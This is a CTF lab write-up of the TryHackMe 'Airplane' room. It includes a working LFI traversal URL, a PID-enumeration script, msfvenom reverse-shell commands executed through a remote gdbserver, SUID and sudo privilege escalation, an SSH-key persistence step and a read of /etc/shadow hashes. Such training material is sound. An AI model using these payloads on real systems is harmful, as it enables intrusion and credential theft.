TryHackMe: Airplane

TryHackMe: Airplane
https://tryhackme.com/r/room/airplane

Airplane is another tagline-only room at TryHackMe with the description of “Are you ready to fly?” I am; let’s fly!

I am working on a Kali VM with a VPN connection to TryHackMe. With the VPN connected and room instance launched, I started by running an nmap scan against the target machine. The results showed SSH open on its default port and an HTTP server running on port 8000. There was also an unknown port listening on 6048. A script scan found no identifiable service fingerprints on that port.

Target nmap scan results show three open ports

Loading the target in a web browser on port 8000 brought up a single HTML index page about airplanes. Reviewing the source code didn’t show anything interesting. I had to edit my hosts file with the instance IP because the website had a DNS redirect.

Airplanes!

Looking at the URL, it appears that the site is using PHP to load a specified local file. If PHP isn’t setup properly, it could pose a potential local file inclusion (LFI) directory transversal vulnerability that allows an attacker to navigate the target filesystem and load arbitrary files. To test this, I tried to access the /etc/passwd file by backing out a large number of directories to reach the drive root and then move forward into the /etc folder. I placed this command in the address bar and attempted to load it:

airplane.thm:8000/?page=../../../../../../../../../../../../../etc/passwd

The web browser downloaded a 3KB passwd file from the target. This confirmed the presence of a directory transveral vulnerability. Opening the file, I identified two users present on the system: carlos and hudson. I also attempted to access the privileged /etc/shadow file but received a 500 Internal Server Error response, indicating that the web server is not running as root. This is good for the web developer because that part is configured properly, but bad for any attacker (like me).

Compromised passwd file showing local users

I ran gobuster against the site and identified an “airplane” directory but was unable to identify anything of significance. There appeared to be only one page showing a spinning “Let’s fly” text animated through the source HTML code and nothing exploitable.

The SSH port could be useful later on, but the software version was not vulnerable and I still had no credentials.

The mystery port was the only remaining attack surface. Telnet and NC didn’t return any banners from the service so I did some research and realized that I could use the LFI vulnerability to browse the /proc folder on the target. The /proc folder contains information about the running processes on the system, akin to a flat-file representation of the ps command output. I ran a request to load the /proc/net/tcp file through BurpSuite and confirmed that I had permission to access this folder.

BurpSuite request lists ports on target

The /proc/net/tcp output doesn’t show which process PID is listening on the port, though. To find this, I had to search through each /proc/{PID} subfolder to see which application was running on that port. I leveraged ChatGPT to draft a Python script, tweaked some logic, and got a file that would iterate through a numeric range of subfolders and search the cmdline file for the given port. Below is the script I ran against the target machine and it identified a gdbserver listening on port 6048. Now that I know what service is listening, I can start searching for an exploit!

import requests

def search_in_tcp_file(filename, search_string):
    with open(filename, 'r') as file:
        for line in file:
            if search_string in line:
                return True, line
    return False, ""
def main():
    base_url = "<http://airplane.thm:8000/?page=../../../../proc/>"
    for i in range(1, 60001):
        url = f'{base_url}{i}/cmdline'
        port = "6048"
        
        try:
            response = requests.get(url)
            if response.status_code == 200:
                if port in response.text:
                    print(f"Process identified with PID {i}")
                    print(response.text)
                    return
        except FileNotFoundError:
            continue
if __name__ == "__main__":
    main()
Running process identified as gdbserver
Side note: I spent a lot of time researching if there was a way to identify a process listening on a port if it had been launched without an explicit port number (i.e., specifying a configuration file instead). If this had been the case, the above script would have not found anything because the port would not have been specified in the cmdline file. I tried a handful of approaches on my own machine but was unable to find a way to correlate PID to listening port through the /proc folder alone without command line access.

Back to the gdbserver port! I saw the hacktricks.xyz site had a section on exploiting remote gdbserver. Metasploit also had a module with a “Great” rating, but I’m preparing for the OSCP certification and trying to focus more on manual exploitation since I’m already solid with metasploit. I followed the hacktricks.xyz instructions to generate a msfvenom payload, make it executable, start gdb debugger and configure it to use the target machine, upload the file, and execute the payload.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.13.51.111 LPORT=4444 PrependFork=true -f elf -o exploit.elf
chmod +x exploit.elf
gdb exploit.elf
target extended-remote 10.10.97.244:6048
remote put exploit.elf /tmp/exploit.elf
set remote exec-file /tmp/exploit.elf
run 

I had to reset the room once because when I first tried the remote put command, I received an I/O error from the target machine and could not proceed. After the reset, the file uploaded successfully and I was able to upload the payload and continue. I caught a shell as the hudson user on my Kali box and stabilized it using the Python3 method. There were no files in this user’s home folders so this wasn’t who I had to obtain the user flag from. It must be under the carlos user.

Caught a shell as hudson

Searching for privilege escalation and lateral movement paths, I identified that the /usr/bin/find binary had the SUID bit set. The owner was carlos so exploiting this would give access to the system as that user, not root.

find binary has SUID bit set with different owner

I ran the SUID exploit command from GTFOBins and obtained a new shell as the carlos user. Now I could see and cat the user flag from the user.txt file.

User.txt flag: halfway there!

Although the shell is running as carlos, it still inherits a number of hudson's attributes. To get full access as carlos, I have to obtain a new session somehow. I do have write permissions as carlos to his home folder so I can utilize the SSH port discovered earlier to establish a session as that user. I need to generate a SSH keypair, add it to the carlos user’s authorized_keys file, place the private key on my Kali machine, and then connect via SSH as the carlos user.

Still in the carlos shell, I ran the ssh-keygen command to generate a new key pair. I had to specify the keys to save in /home/carlos/.ssh instead of the default location. I cat the id_rsa file and pasted the contents into a file on my local Kali machine and had to chmod 600 that file so the SSH binary wouldn’t complain. On the target, I also had to run cat id_rsa.pub >> authorized_keys to allow the target machine SSH server to accept this SSH key.

Finally, I was able to SSH into the target using the key I just generated and obtained a session as carlos. Checking the user’s groups, I noticed he was a member of the sudo group which would greatly help the escalation to root. The user could execute Ruby scripts located in the /root directory with sudo permissions, but did not have read or write permissions to that directory.

Sudo permissions granted

Luckily, I already exploited something similar to this earlier in the room. I can use the double dot directory transversal ability to specify a Ruby script that’s not actually in the /root directory but instead is in one I control.

At first I was trying to execute a Ruby reverse shell to my machine but realized that I only have to read a file that’s already been specified. A Ruby one-line script is enough to read the file contents and obtain the root flag.

Root.txt flag captured!

While that’s enough to complete the room, how useful would this be in a real-world engagement? What about using this to accomplish something actually useful, like reading the shadow file to dump user password hashes? With a quick update of the file path in the Ruby script, I can do that!

Grab some password hashes for good measure

Summary:

Starting with the LFI directory transversal vulnerability on the web server, I was able to identify a vulnerable semi-obfuscated gdbserver service running on the machine and exploit that to gain a shell as the hudson user. A SUID misconfiguration allowed lateral movement into the carlos user account. Finally a sudo permission on the carlos account allowed execution of an arbitrary Ruby script that compromised the root flag.